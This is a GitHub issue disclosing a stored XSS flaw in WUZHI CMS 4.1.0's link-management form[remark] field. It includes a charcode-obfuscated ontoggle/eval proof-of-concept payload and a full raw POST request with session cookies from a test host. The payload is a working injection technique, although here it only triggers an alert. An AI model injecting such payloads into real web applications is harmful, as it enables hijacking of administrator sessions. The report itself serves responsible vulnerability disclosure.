Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 has a XSS vulnerability in form[remark] #147

Open
Jas0nwhy opened this issue Jul 28, 2018 · 0 comments
Open

wuzhicms v4.1.0 has a XSS vulnerability in form[remark] #147

Jas0nwhy opened this issue Jul 28, 2018 · 0 comments

Comments

@Jas0nwhy
Copy link

Vulnerability description

A xss vulnerability was discovered in WUZHI CMS 4.1.0
There is a persistent XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML via the form[remark] parameter post to the /wuzhicms/www/index.php?m=link&f=index&v=add&&_su=wuzhicms&_menuid=34&_submenuid=34&_submenuid=104

poc

xss payload:<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))>

Vulnerability trigger point

image

POST /index.php?m=link&f=index&v=add&&_su=wuzhicms&_menuid=34&_submenuid=34&_submenuid=104 HTTP/1.1
Host: wuzhicms.jas0nwhy.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://wuzhicms.jas0nwhy.top/index.php?m=link&f=index&v=add&&_su=wuzhicms&_menuid=34&_submenuid=34&_submenuid=104
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Cookie: uFF_qkey=OL%2FPYWtPocjUysJ4eGv17OtY2yAFbrhi; uFF_truename=test; uFF_auth=v%2B5dKnQ11JePhw%2FSGWmMAfDyiW6dNpSOA6SqEty0kRwKW3G%2B6BcsRkJNPpYfUHI73dbdRX9ED02vJTVLfTMoUM9ubgPIlGi3oeDySn4fwUllsGN68ZKsIg%3D%3D; uFF__uid=uxA4c2PBBY82ZXh9mKvwfA%3D%3D; uFF__username=qmwWA1qdk4cLcHywp%2FpCTA%3D%3D; uFF__groupid=kTmiMGl374drFAogceF61w%3D%3D; uFF_modelid=10; uFF_search_cookie=hiIS00B0niHSbqcNh80buiJrVtKUEeTzMtMTtI4hsL2eb7T7a6i5Zk8YNhUcZQgjGWkuSpy2Ae8%3D; PHPSESSID=3nmql0bilkvr1ggiv4ls5j3bd0; uFF_uid=M3HRuLTTk0YN0EMJEsyodQ%3D%3D; uFF_username=aYPt3Efwbdqjo1iqCRUoYA%3D%3D; uFF_wz_name=gRUcj4a9fqr9gfoB2p24hA%3D%3D; uFF_siteid=zs4amrXx%2Bfkw9jT79BFwjA%3D%3D
Connection: keep-alive
Upgrade-Insecure-Requests: 1

form%5Bkid%5D=1&form%5Bsitename%5D=test&form%5Burl%5D=http%3A%2F%2Fwuzhicms.jas0nwhy.top&form%5Blogo%5D=&form%5Bremark%5D=%3Cdetails%2Fopen%2Fontoggle%3Deval%28String.fromCharCode%2897%29%2BString.fromCharCode%28108%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28114%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2840%29%2BString.fromCharCode%2850%29%2BString.fromCharCode%2841%29%29%3E&submit=%E6%8F%90%E4%BA%A4

When administrators access the expansion module link, it triggers XSS vulnerability.

image

image

@Jas0nwhy Jas0nwhy changed the title wuzhicms4.1.0 has a XSS vulnerability in form[remark] wuzhicms v4.1.0 has a XSS vulnerability in form[remark] Jul 28, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant